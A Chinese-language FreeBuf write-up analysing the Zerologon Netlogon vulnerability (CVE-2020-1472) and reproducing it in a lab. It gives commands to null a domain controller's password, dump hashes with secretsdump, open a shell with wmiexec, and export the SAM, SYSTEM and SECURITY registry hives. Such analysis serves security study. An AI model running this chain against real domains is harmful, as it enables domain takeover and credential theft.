freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2020-1472
2023-03-01 12:31:10
所属地 北京

漏洞简介

CVE-2020-1472是一个Windows域控中严重的远程权限提升漏洞。由于微软在Netlogon协议中没有正确使用加密算法而导致的漏洞,微软在进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client challenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零。下面就整个攻击过程做一个简要分析。

影响范围

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

漏洞原理

Netlogon协议是微软提供的一套域访问认证协议,不同于大部分rpc服务,该协议使用的并不是典型的微软认证方式如NTLM\Kerberos,该协议的通信流程如下:

图1-1

图1-1中攻击者可控的因素有client challenge,攻击者将它设置为全0,server challenge在每一轮认证过程中都会变化,secret对应于用户密码的hash,Encrypt的过程采用的是AES-CFB8,其运算过程如下:

图1-2

在图1-2中,黄色部分内容即为IV,微软错误的将其设置为全0,而实际上为了保证AES算法的可靠性该部分内容应该随机生成,黄色部分后紧接着的蓝色部分为明文,对应于client challenge,该部分内容攻击者可控,设置为全0,AES使用的key是将secret、challenge进行运算后得到的值,也就是说,key会随着每一轮server challenge的变化发生变化,那么如果IV和client challenge为全0的话,那么整个AES运算过程变成图1-3所示:

图1-3

如图1-3所示,在第一轮AES运算过程中,密文(黑色部分)第一个字节为0的概率是1/256,这是因为一个字节有8位,全为0的概率是1/256,那么由这运算得到的密文第一个字节0x0和IV以及后面全0的client challenge计算后得到的新一轮”明文”依旧为全0,同样进行AES运算,由于第二轮运算时明文密钥和第一轮都一致,那么这一轮所产生的密文第一个字节也同样是0,接下来几轮计算原理以此类推,所以每一次连接都是由1/256的概率产生一个全0的密文,最理想的情况即是256次就一定能完成碰撞。因此Client challenge设置全0后,客户端凭据(8字节)通过验证的概率就从1/2^64提高到了1/256。

通过上述碰撞方法,攻击者便完成了域身份认证,在接下来的攻击过程用类似的方法也bypass了对call的校验,最后通过相关调用完成对域控密码的修改。值得注意的是由于整个碰撞过程中Sessionkey一直是未知的,攻击者可以通过NetrServerAuthenticate3设置合适的flag使得剩下的通信过程不使用session key进行加密。

一言以蔽之,Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞顺利被利用。

环境

192.168.80.136——域控

192.168.80.139——攻击机

漏洞验证

下载poc:https://github.com/SecuraBV/CVE-2020-1472 验证漏洞是否存在:

python zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR 如下图所示,漏洞存在

1653287891918-19da6231-0e9a-42bf-b5eb-8b7936fcde31.png

漏洞利用

下载exp:https://github.com/dirkjanm/CVE-2020-1472

置空DC的密码:python cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

1653288153083-2c1aa6dc-12f7-4ea7-ad7a-d8dde10bb779.png

获取HASH

使用impacket包中的secretsdum.py来获取相关的HASH

python secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass

1653289890902-ccf63f12-ec97-4bae-a74f-53d187caa9a1.png

获取shell

获取HASH后,可以利用wmiexec.py使用administrator——hash登录,也可以用机器密码为空登录

python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR

1653293571809-84bf24d5-737a-4638-bc1d-4b7b82c7cf73.png

导出注册表凭据

执行以下命令,获取SAM中原来的HASH

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

get system.save

get sam.save

get security.save

del system.save

del sam.save

del security.save


实际场景可以新增用户rdp登录上去或者pth-rdp的方式去连接

1653294100778-c58611d4-1264-4db3-9184-6b2140c2c194.png1653294118200-9befddb3-4354-4054-aac5-a1f70b89bc36.png

解析HASH

利用secretsdump.py解析保存在本地的nt hash

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

1653296382989-5e83d7ee-ca9c-4533-a317-d8da19ed84d9.png

恢复HASH

恢复HASH的工具: https://github.com/SecuraBV/CVE-2020-1472

执行命令: python reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>

1653297072440-9d5b6278-454f-4b18-b169-1cf38d749128.png

检查是否恢复

再次执行命令

python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-pass

1653297033288-9f4cf000-bdc9-401a-889d-01974f1f3785.png

参考资料

https://support.microsoft.com/zh-cn/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc

本文作者:深信服深蓝实验室_北京天雄战队


# 渗透测试 # 系统安全 # 内网渗透 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录